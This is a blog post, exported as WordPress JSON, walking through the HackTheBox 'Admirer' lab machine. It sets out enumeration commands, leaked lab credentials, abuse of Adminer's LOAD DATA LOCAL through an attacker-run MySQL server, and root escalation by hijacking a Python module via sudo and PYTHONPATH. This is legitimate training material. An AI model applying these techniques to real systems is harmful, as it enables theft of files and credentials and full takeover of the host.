{"id":115,"date":"2020-06-19T15:54:42","date_gmt":"2020-06-19T15:54:42","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=115"},"modified":"2020-09-27T07:31:55","modified_gmt":"2020-09-27T07:31:55","slug":"admirer-hackthebox-walkthrough","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/admirer-hackthebox-walkthrough\/","title":{"rendered":"Admirer : Hackthebox Walkthrough"},"content":{"rendered":"\n<p>Hi! This is Shreya Pohekar. And Today, its time for Admirer from hackthebox. So it was an &#8220;easy&#8221; rated machine,  still, it needed a vigilant eye to make it through. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Summary<\/h3>\n\n\n\n<p>The initial foothold on the box required a lot of enumeration. The creators of the box really wanted to take a note of every detail. Getting the user required to have a look at all the stuff that I had in hand. <br>And finally rooting the box was another classic privilege escalation. It used<strong> sudo <\/strong>rights of the user, where one could <strong>change the path of the python module<\/strong> to a malformed code to get privilege escalation.  <\/p>\n\n\n\n<p>With all that said, lets get started!!<\/p>\n\n\n\n<p>Start with a namp scan to search for open ports and services.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># nmap -sC -sV -oA admirer.namp 10.10.10.187<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/EkoLFgo_E8JPuTrzfMVDqLtGkKj2FegggJZGlu88sKbLvlcKUO_U-9sMIpSeYiilFXFJo8KFE3m7FN7pNz_cI9W6UpS1CJR-5looLt4UTzk83JU1WbNvQidvFg5ic92lGiaYWzLp\" alt=\"\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Initial foothold<\/h2>\n\n\n\n<p>Nmap results showed 3 open ports <strong>21,22 and 80<\/strong>. Also there was a robots.txt present that <strong>disallowed the \/admin-dir<\/strong>. I tried anonymous login with ftp but it too didnt worked.<\/p>\n\n\n\n<p>Also I took a look at <strong>robots.txt<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/Y8cH2KmOJxV2V3rfnuReKetcF_alaXhw61sSJTYB_adLAH3lVP8hJVUaiOSqLUdw9X7_58d8idV6L5S3cMlLMvB1dHlR4C10irpC6649jJPFqfCmHqSKeMmRBsc2gxzE54iIqB4c\" alt=\"\"\/><\/figure>\n\n\n\n<p>The only useful information I could find was the probable username,<strong> waldo<\/strong>.<\/p>\n\n\n\n<p>Alongside, i ran a gobuster scan on <a href=\"http:\/\/10.10.10.187\">http:\/\/10.10.10.187<\/a> , with wordlist : <strong>rockyou.txt&nbsp;<\/strong><\/p>\n\n\n\n<p>Few directories came over, but access to all of them was denied. With all the forbidden directories, I could go nowhere. So I started to change the wordlists and searched for directories and files with different extensions.<\/p>\n\n\n\n<p>Finally I got something with wordlist: <strong>\/usr\/share\/seclists\/Discovery\/Web-Content\/big.txt<\/strong> on <a href=\"http:\/\/10.10.10.187\/admin-dir\">http:\/\/10.10.10.187\/admin-dir<\/a><\/p>\n\n\n\n<p class=\"wpf-blue-background pad\">\u26a1 root@kali&nbsp; ~\/Desktop\/htb\/admirer&gt;&gt;&nbsp; gobuster dir &#8211;url&nbsp; http:\/\/10.10.10.187\/admin-dir -t 50 -x php,txt -w \/usr\/share\/seclists\/Discovery\/Web-Content\/big.txt<br> \/.htaccess (Status: 403) <br> \/.htaccess.php (Status: 403) <br> \/.htaccess.txt (Status: 403) <br> \/.htpasswd (Status: 403) <br> \/.htpasswd.php (Status: 403) <br> \/.htpasswd.txt (Status: 403) <br> \/contacts.txt (Status: 200) <br> \/credentials.txt (Status: 200) <br> <\/p>\n\n\n\n<p><strong>Contacts.txt<\/strong> and <strong>credentials.txt <\/strong>seemed juicy readable files. So i fired up the browser to look at its contents.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/Ic6yLHgr5U5I9Cddl3lbaKtTd0fiMoe27dQyTu0VcD1euHz9uLbl_08GfIHOO4NmMAHFKcxaMYhL1KhaSWX-Y3l6s28rV0d7yUoo2suio_MbVmY8gVVeFPp0XXmlWrKEiyiLw9gs\" alt=\"\"\/><\/figure>\n\n\n\n<p>The contents of <a href=\"http:\/\/10.10.10.187\/admin-dir\/credentials.txt\">http:\/\/10.10.10.187\/admin-dir\/credentials.txt<\/a> were<\/p>\n\n\n\n<p class=\"wpf-blue-background pad\">[Internal mail account]<br> w.cooper@admirer.htb<br> fgJr6q#S\\W:$P<br> [FTP account]<br> ftpuser<br> %n?4Wz}R$tTF7<br> [Wordpress account]<br> admin<br> w0rdpr3ss01!<\/p>\n\n\n\n<p>OK, so we found a bunch of credentials. Lets see, how many of them are working. There were creds for <strong>ftpuser<\/strong>, so I checked out ftp for any information. Luckily the creds worked and I got a <strong>html.tar.gz<\/strong> and an <strong>dump.sql<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/PDxQWWX39rd8I-GG-jY7Qs0qgqjdDISBLW1Q6UYMUkf_sOcHUjILE9SVDQdAYgZXdjMvMmtwmCQYGwWAfw0di0UQlF2y9IYcKMgbXKloKChoSFw8T22GQmSLYXufS0fXqxlDj6sB\" alt=\"\"\/><\/figure>\n\n\n\n<p>I downloaded both the files to my local machine using get command and analyzed its contents<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">ftp&gt; get html.tar.gz\n\nftp&gt; get dump.sql<\/pre>\n\n\n\n<p>I listed the contents of<strong> dump.sql<\/strong> but there was nothing interesting in there, except the name of database that was admirerdb.<\/p>\n\n\n\n<p>So as a next step, I unzipped the html.tar..gz and listed its contents.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># gunzip html.tar.gz\n\n# tar -xf html.tar<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/nP1Mfoja6AfRdkBp1yrpObhYDtvGPzyMSradKEwbpbFubI39nkB_CQTWGXWZ69ONic2op3zsBBsYyXtpWCqRgFI6g2WvXt4vhBJ4Ei1WjAFA3H_a9LqB_K6fSXOn5GjPg-c6prM9\" alt=\"\"\/><\/figure>\n\n\n\n<p>To my interest, I got 2 new directories in the backup that were not listed in the gobuster search. And few files were present in the directory.&nbsp; So I fired up the browser and entered <a href=\"http:\/\/10.10.10.187\/utility-scripts\/admin_tasks.php\">http:\/\/10.10.10.187\/utility-scripts\/admin_tasks.php<\/a> and a page showed up.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/3HKoCmlJsgNFxJWBBqXxWZm1WHSi95xo0Y-qPMoijLtKcQdwpPZLuQAbIk_4pYPfUNz1eO0eubNK1tRSfgfZmi9mDKUNeLQASiZHGQiZk6vaGr1v_HUicdExBlk5cMo82ckFSQI9\" alt=\"\"\/><\/figure>\n\n\n\n<p>So we can perform few tasks.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/QXZ3RbAMIIaa6EWjMVPLWCcJo9YKI5-XnLQx2ZUO27p4ynzmqpVpUJvTeGF3UavdCaVzx-tonUDIsk0sRidlGAIkQLx--W-qLPkVga03E5QDRby0Q2ew1HdCdtDlxkV_Q35fVDHQ\" alt=\"\"\/><\/figure>\n\n\n\n<p>But to run tasks from 4-7 we required<strong> root privillieges<\/strong>. All these newly found stuff was a totaly dead end. When no creds worked for the founded users, I thought of running a gobuster scan on the newly found directories.<\/p>\n\n\n\n<p>And luckily a found a new page under utility-scripts as <strong>adminer.php<\/strong>.<\/p>\n\n\n\n<p class=\"wpf-blue-background pad\">&nbsp;\u26a1 root@kali&nbsp; ~\/Desktop\/htb\/admirer&nbsp; gobuster dir &#8211;url&nbsp; http:\/\/10.10.10.187\/utility-scripts -t 50 -x php,txt -w \/usr\/share\/seclists\/Discovery\/Web-Content\/big.txt<br>\n\/.htpasswd (Status: 403)<br>\n\/.htpasswd.php (Status: 403)<br>\n\/.htpasswd.txt (Status: 403)<br>\n\/.htaccess (Status: 403)<br>\n\/.htaccess.php (Status: 403)<br>\n\/.htaccess.txt (Status: 403)<br>\n\/adminer.php (Status: 200)<br>\n\/info.php (Status: 200)<br>\n\n<\/p>\n\n\n\n<p>The new page looked like this<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/BizNPmNf0YGH0ukfVrc4zJ-Ybtv7_FTqzczWIpyflTUCUbxE5C0fUb3qoPvdFJDYgbnUFKXW_ptcpKLyLgRhZhll6Y0VfkySpTmNSvvngpjxseSwknlJG7s-KW68JikY0aUH9k6I\" alt=\"\"\/><\/figure>\n\n\n\n<p>I googled for the term Adminer and found out that it is a tool that is used for administrating the <strong>sql servers remotely<\/strong>. Cool! But how its gonna help me!!<\/p>\n\n\n\n<p>Now I searched for Adminer 4.6.2 exploit if any. And I found the information<strong> disclosure vulnerability<\/strong> for the given version. More information about the attack can be found out <a href=\"https:\/\/www.foregenix.com\/blog\/serious-vulnerability-discovered-in-adminer-tool\">here<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Working of the attack<\/h3>\n\n\n\n<ol class=\"wp-block-list\"><li>The attacker opens up the adminer instance on the browser and instead of connecting to the victim\u2019s remote MySQL server, he connects to its own MySQL server hosted. We\u2019ll see later in the walkthrough to how to configure MySQL to be connected remotely.<\/li><li>After connecting to the local MySQL server, we can use the command, <strong>\u2018LOAD DATA LOCAL\u2019<\/strong>, specifying the file present on the victim machine and then loading the contents of that file into our own database. So in this step, we might end up getting some useful credentials that can be used up for login.<\/li><\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">&nbsp;How to access MySQL server remotely<\/h3>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;For a debian based system, the mysql configuration file can be found at <strong>\/etc\/mysql\/my.cnf<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/c9lKXOKyH2uyDTn6ZrOskL0flXNCbvuTx_Hlds-eW2DHXaS2jUC_0x5ux-O4zvNPCQWHjB5ftha79dK7EeiGiL1H6pe1GSFJNsIR-4sRDDgQk30G9y87qugBZUQ1bj7nD8pdANjc\" alt=\"\"\/><\/figure>\n\n\n\n<p>My file had this configuration that implies that include all the configuration files that are present inside <strong>\/etc\/mysql\/conf.d and \/etc\/mysql\/mariadb.conf.d\/. Its showing MariaDB in my case as both the MySQL and MariaDB<\/strong> are installed on my machine.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># cd \/etc\/mysql\/conf.d<\/pre>\n\n\n\n<p>U will find a .cnf file in there. Add the following lines into the file.<\/p>\n\n\n\n<p class=\"wpf-blue-background pad\">[mysqld]\nuser        \t= root <br>\npid-file    \t= \/var\/run\/mysqld\/mysqld.pid<br>\nsocket      \t= \/var\/run\/mysqld\/mysqld.sock<br>\nport        \t= 3306<br>\nbasedir     \t= \/usr<br>\ndatadir     \t= \/var\/lib\/mysql<br>\ntmpdir      \t= \/tmp<br>\nlanguage    \t= \/usr\/share\/mysql\/English<br>\nbind-address\t= 10.10.14.60<br>\n<\/p>\n\n\n\n<p>Here the important point to note is that bind-address is <strong>10.10.14.60<\/strong> that is the IP of the<strong> tun0<\/strong><\/p>\n\n\n\n<p>Restart the mysql service<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># service mysql restart<\/pre>\n\n\n\n<p>Now login to the mysql from terminal with the existing user (root in my case).<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># mysql -u root -p&nbsp;<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&gt; CREATE USER 'evil'@'%' IDENTIFIED BY 'evil';\n&gt; GRANT ALL ON *.* TO 'evil'@'%';<\/pre>\n\n\n\n<p><strong>%<\/strong> here works as a wildcard character that will allow any IP address.<strong> Grant all<\/strong>  on *.* allows the user evil to have access on all the databases.<\/p>\n\n\n\n<p>To test if \u201cevil\u201d is able to access the mysql server on the host IP &#8211; 10.10.14.60, run the following command<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># mysql -u evil -h 10.10.14.60 foo -p<\/pre>\n\n\n\n<p><strong>(here foo is the database)<\/strong><\/p>\n\n\n\n<p>Now we need to enter those creds in the <strong>admirer.php<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/zkNd8wQERRi7N_fOWrdcrfGfdx5cpup6196sLVbZ3qwVtsuBKOPnWzyM-mRpOa-FIY26O4Uj4edHEvS_qoUvTD0UfaaksTrV21zuV56oQspR0dW6hKHIWv6zrbmKCrX4eOvFUfMZ\" alt=\"\"\/><\/figure>\n\n\n\n<p>And a page opens up<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/xPygOBRIv5rOYXovXyhLPAuybn-MyBPH6mz40m9Iqu5JwPL7z2oAo059JVLNE5a-ftacae3OGXdzGaRYfJwOwPq3S6A0e7EeNHt7XKUsMe-oGAVL5vD9gSMQZL-meqSHjz1pFp8P\" alt=\"\"\/><\/figure>\n\n\n\n<p>Kudos! We just logged in. The red box shows that I am logged in as <strong>evil@admirer.htb<\/strong>. Sounds cool.<\/p>\n\n\n\n<p>So the remaining step now was to abuse <strong>LOAD DATA LOCAL<\/strong>.<\/p>\n\n\n\n<p>I selected foo as the database and ran&nbsp;<\/p>\n\n\n\n<p class=\"wpf-blue-background pad\">&gt; <a href=\"https:\/\/mariadb.com\/kb\/en\/library\/load-data\/\">load data<\/a> local infile &#8216;&lt;file name&gt;\u2019&#8217;<br> into table foo.lol<br> fields terminated by&#8221;\/n&#8221;<\/p>\n\n\n\n<p>Lol is the table inside foo database.<\/p>\n\n\n\n<p>I tried out various file names like path to apache2.conf, php.ini , etc. But these files were leading nowhere. Then finally I got the creds inside <strong>\u201cindex.php<\/strong>\u2019 [the home page of http;\/\/10.10.10.187] LOL!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/cNA6ed9HfZaZ9nHog-_DBn19XRx-aF8kfIzcCZwiQ9Ei-HF2WqNzahH3P7Gl1BEqXRhZ_LpDJ2o9asbAnALqFt5yqpspLFIid8l-cLgS_Qy0HTI8xQwGqgWKN2gDqeyQ04lu0J3H\" alt=\"\"\/><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># select * from lol;<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/H2N7YyVHMG1ZR8MlNn8Yhg04UhCr4V6wuIazbRj6FF591KGrT-A24MNPmV8b8VpVuQw15tcJV6ygh8WMYvBjwba0TKjfRCuKjRlenIoI34lHiBJi-Z2ZePGuXe-I480hFpdD9ADQ\" alt=\"\"\/><\/figure>\n\n\n\n<p>$servername = &#8220;localhost&#8221;;<br>\n $username = &#8220;waldo&#8221;;<br>\n $password = &#8220;&#038;<h5b~yK3F#{PaPB&#038;dA}{H>&#8220;;<br>\n $dbname = &#8220;admirerdb&#8221;;<\/p>\n\n\n\n<p>When i tried ssh with the creds obtained and the user to be waldo, I was finally inside the box. This was literally a lot of enumeration and had to keep note of everything.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/IfarHRKlzxDfJ5eMT9AQ9XygJvP-CHAsaSZHs91_kmOlxvfoBo-LljK9DtZjROPvkJ0dZk0wb7ggqA65uOb3evJJPm-eJKDrPn9w0DaYDjZcdSlYoRbz8CV_H6YV6jwcMVtUbYy9\" alt=\"\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Time for privilege escalation!<\/h2>\n\n\n\n<p>I ran Linpeas.sh (<a href=\"https:\/\/github.com\/carlospolop\/privilege-escalation-awesome-scripts-suite\/tree\/master\/linPEAS\">find here<\/a>) to enumerate what\u2019s there in the box and I found sudo was present.&nbsp;<\/p>\n\n\n\n<p>So I quickly ran&nbsp;<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">#sudo -l<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/2wC3CH5EYWHVMrf1HA8KwlWOO2P6xx1RQNdTqOAPD_Ue9irZ946D3Az5qKxj67_LOM5E3E-jfQNAGCkUK5eWtwuqsrTHiuluiq4BHcr3cFIBxI9n3cjSi0IHtx1F3L1Xvzpa_ZIz\" alt=\"\"\/><\/figure>\n\n\n\n<p>So we can run <strong>\/opt\/scripts\/admin_tasks.sh<\/strong> as sudo. (image below is a part of admin_tasks.php found earlier ).<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/4QAbvesgzSVmDZMiDZxrxMYgkuHXiNhDKC92hKsAeYkMY9uQivzX594zmhmbs_QuQsDfMAxdKa1DwQnUXpUec-3LJ8ANCzApW_-pr_q6u8fWB92LuyC6eRcV7JE90RxTsKgS-XU2\" alt=\"\"\/><\/figure>\n\n\n\n<p>Also we can <strong>set\/change the environment variable<\/strong>.&nbsp;<\/p>\n\n\n\n<p>But to my amazement, export and <strong>setenv<\/strong> commands were not present inside the box. We could only set the path for the binary in the dynamic run of the script.<\/p>\n\n\n\n<p>&nbsp;Another wierd thing was all the binaries in the script were using full paths so they cant be exploited. After carefully studying the contents of <strong>admin_tasks.sh<\/strong> and found that the web_backup is running some file<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/Lfqj5g_P0GJwYvYl4_tpbIiFB8eJoq0OTXmq7e076a09ySpuWyrpefMLYuQXFvqpbB6JQqDvrSCWW1bPxDM2cMj-8mc0O2jehv5n2iDAMtW_H2i-UoLuz93-nsR65iD_r2HuRpYn\" alt=\"\"\/><\/figure>\n\n\n\n<p>So i grabbed for its contents<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/Q8PsHclwtCawIJsFQooboT5xAgFHNIc2XmTefoHdWzrCTSZ8SlqoLAkusoUlvymPsFNZrDN3xWifFPdYcKulgwVrchSrgPhoP7fk5l3EDXsjmenuvS_deoEkvIah2XDDuaCDtQtk\" alt=\"\"\/><\/figure>\n\n\n\n<p>Its importing<strong> shutil<\/strong> module from python and its not the full path. And we got our vulnerable point.<\/p>\n\n\n\n<p>So lets check out the original path<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># python -c \"import sys; print('\\n'.join(sys.path))\"<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/RWrxr8lMWJBA_EkFOlTJhk_nTbuOZUFNrjP5GvXvDlkpYOr4uWN7F5K1wMKsagUsMkGge5CK50k0y0x5duDUiTfxp9wCX5jpymmsRH4eWI-Fb1wivQD5heOrRrgwiKCYQWpRL6o0\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/abcEijTASEViiyE4_5kLKKtHyk9-i92m3TNIe-t491jllNdAazD4pBqmWWwujEJB4-L8x8lt9tS-W9BXsAcN7J79ZD-YIabcmsE1WaJY2a_tNzoGP4R6WrCOnyBAvYXU5LpyOhvb\" alt=\"\"\/><\/figure>\n\n\n\n<p><strong>\/usr\/lib\/python2.7<\/strong> is the original location for the shutil.py to load. Now I am gonna change this path to <strong>\/dev\/shm\/rooter<\/strong> at the time of running the script.<\/p>\n\n\n\n<p>In order to do this, I went inside a writable folder \/dev\/shm and created a directory rooter.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># cd \/dev\/shm\n# mkdir rooter\n# cd rooter<\/pre>\n\n\n\n<p>Now I created a file inside rooter with the name <strong>\u201c<span class=\"has-inline-color has-vivid-cyan-blue-color\"><a href=\"https:\/\/docs.python.org\/3\/library\/shutil.html#:~:text=shutil%20%E2%80%94%20High%2Dlevel%20file%20operations,see%20also%20the%20os%20module.\">shutil.py<\/a><\/span>\u201d<\/strong>.It has to be the exact same name.<\/p>\n\n\n\n<p>There was a method <strong>make_archive<\/strong> under the original shutil.py and the backup.py is just importing the make_archive from shutil therefore we need to create this method here as well in order for the exploit to work.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/szaO6WPNo_bKtiXSUsk0QkX8ZT0jnJep-_CaHdQ3tl2CN8fb7qNIMwukQAVWhpLU9Ju2TaU8OcMAoMeCZd1uYg0GpFiwLWDC256tUGzJp199eUJR1ebWRB-GHmx5F73qJ1k9suGx\" alt=\"\"\/><\/figure>\n\n\n\n<p>The original function uses a lot of arguments. We can ignore all these agruements using<strong> *ignore_params<\/strong> in our newly defined function.<\/p>\n\n\n\n<p>I edited \/dev\/shm\/rooter\/shutil.py with the code to directly grab the \/root\/root.txt and put it in the fiile lol.txt along with permissions set to \u201c777\u201d so that anyone can at least read it<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/llfSPgY9Nj1gzzruNTDQdegw0hHWA67NJPML7vE5hCT6IzQKEByktsa8Yqg-BKagWyxCna3qA0a1beHTyUtDVRMygFYB4-7Nd4ZqoYwn-hB1RsB1bEg8T7s0_oHHqEuURxKGTTU5\" alt=\"\"\/><\/figure>\n\n\n\n<p><strong>stat.S_IRWXO<\/strong> set the permission for lol.txt to be 777<\/p>\n\n\n\n<p>Now we just need to run the script: \/opt\/scripts\/admin_tasks.sh with sudo and pythonpath dynamically changed to \/dev\/shm\/rooter. This will load the malformed shutil.py instead of the original one.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/SWJvq8Yxo0wjdmBfNEJYonmeyme-iZSAtoQgLbbbd3_I2_ukDY2Sg-9qrtX5B1KtUDZAYAtqpDDNvE77oqhmgoO6wx0cGJScDPQa6wPH4QN8AI5ur4ftEeS4lgMpnFOdLS6fSZDm\" alt=\"\"\/><\/figure>\n\n\n\n<p>Exploit successful. There might have been a file created under \/dev\/shm. Lets check out<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/SYsUGKJEamZB_zJs4hGuz29H0FkWrYkELoME07y4QvDutTv8JiKmpR-qIvGXmVS6_EdF3z923TwwLC3oVMp4O68mz48fBzIZKAOZ3Fh1uk8lJ2CyWomAPr5YzmuXquuxkxxZYDkW\" alt=\"\"\/><\/figure>\n\n\n\n<p>Yes lol.txt exists and it has the flag.&nbsp;<\/p>\n\n\n\n<p>As an alternate method, you can grab the python reverse shell payload from <a href=\"http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet\" target=\"_blank\" rel=\"noreferrer noopener\">pentest monkey cheatsheet<\/a> and obtain a reverse shell.<br> That was a long way to go. But thanks for your patience.<\/p>\n\n\n\n<p>Hope you enjoyed reading. For more such content subscribe to my page. Find all the hackthebox writeups <a href=\"https:\/\/shreyapohekar.com\/blogs\/category\/information-security\/hackthebox\/\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a>.<br>Until then, Happy Hacking!!!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hi! This is Shreya Pohekar. And Today, its time for Admirer from hackthebox. So it was an &#8220;easy&#8221; rated machine, still, it needed a vigilant eye to make it through. Summary The initial foothold on the box required a lot of enumeration. The creators of the box really wanted to take a note of every [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":315,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[19,2],"tags":[176,184,185,171,172,178,182,180,173,175,183],"class_list":["post-115","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hackthebox","category-information-security","tag-admin-dir","tag-adminer-4-6-2","tag-adminer-exploit","tag-admirer-hackthebox","tag-admirer-htb","tag-gunzip","tag-load-data-local","tag-mysql-server","tag-robots-txt","tag-seclists","tag-shutil-py","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/115"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=115"}],"version-history":[{"count":8,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/115\/revisions"}],"predecessor-version":[{"id":517,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/115\/revisions\/517"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/315"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=115"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=115"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=115"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}